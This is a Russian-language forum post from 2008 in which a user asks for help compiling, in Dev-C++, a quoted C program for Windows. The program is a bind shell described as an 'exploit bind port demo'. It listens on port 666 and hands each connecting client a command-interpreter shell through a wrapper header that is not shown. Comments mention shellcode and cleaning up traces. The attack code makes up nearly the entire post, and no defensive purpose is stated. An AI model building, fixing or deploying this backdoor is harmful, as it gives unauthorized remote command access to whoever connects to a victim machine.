Показать сообщение отдельно

  #5  
Старый 11.07.2008, 19:29
P-29
Новичок
Регистрация: 04.08.2006
Сообщений: 15
Провел на форуме:
65556

Репутация: 0
По умолчанию

Помагите с компилировать етот код не получается пользуюсь dev-C++ ver 4.9.9.2
Цитата:
#include <stdio.h>
#include <winsock2.h>
#include <windows.h>

#include "spawn.pipe.h" // "обертка" вокруг командного интерпретатора
#define MY_PORT 666 // порт, который эксплоит будет слушать

#define MAX_BUF_SIZE 1024

DWORD WINAPI SexToClient(void *csocket);

int main()
{
int a;
DWORD thID;
HOSTENT *hst;
SOCKET lsocket;
SOCKET csocket;
struct sockaddr_in laddr, caddr;
char buff[MAX_BUF_SIZE]; // буффер
int caddr_size = sizeof(caddr);

// TITLE
printf("exploit bind port demo\n");

// шаг 0: иницилизация библиотеки сокетов
// в реальном shell-коде эту функцию вызывать не надо,
// т.е. процедура иницилизации была выполена уязвимым процессорм
if (WSAStartup(0x0202, (WSADATA*) &buff[0])) return -1;

// шаг 1: создание сокета
lsocket = socket(AF_INET, SOCK_STREAM, 0);

// шаг 2: связывание сокета с локальным адресом
laddr.sin_family = AF_INET;
laddr.sin_port = htons(MY_PORT);
laddr.sin_addr.s_addr = INADDR_ANY;
if (bind(lsocket,(struct sockaddr*) &laddr, sizeof(laddr))) return -1;

// шаг 3: слушаем сокет
if (listen(lsocket, 0x100)) return -1; printf("wait for connection...\n");

// шаг 4: обрабатываем входящие подключения
while((csocket=accept(lsocket, (struct sockaddr *) &caddr, &caddr_size)))
{
// пытаемся получить доменное имя подключившегося узла
hst = gethostbyaddr((char *) &caddr.sin_addr.s_addr, 4, AF_INET);
sprintf(buff, "+%s [%s] new connect!\r\n",(hst)?hst->h_name:"",inet_ntoa(caddr.sin_addr));
send(csocket, buff, strlen(buff), 0);

// вызов нового потока для обслужвания клиента
// вообще-то для этого рекомендуется использовать _beginthreadex
// но с некоторыми предосторожностями можно обойтись и win32 API
CreateThread(0, 0, SexToClient, (void *) &csocket, 0, &thID);
}

// шаг 5: подчищаем за собой следы
closesocket(lsocket);
WSACleanup();
return 0;
}

DWORD WINAPI SexToClient(void *csocket)
{
sshell(((SOCKET*)csocket)[0], MAX_BUF_SIZE);
closesocket(((SOCKET*)csocket)[0]);
return 0;
}
 
Ответить с цитированием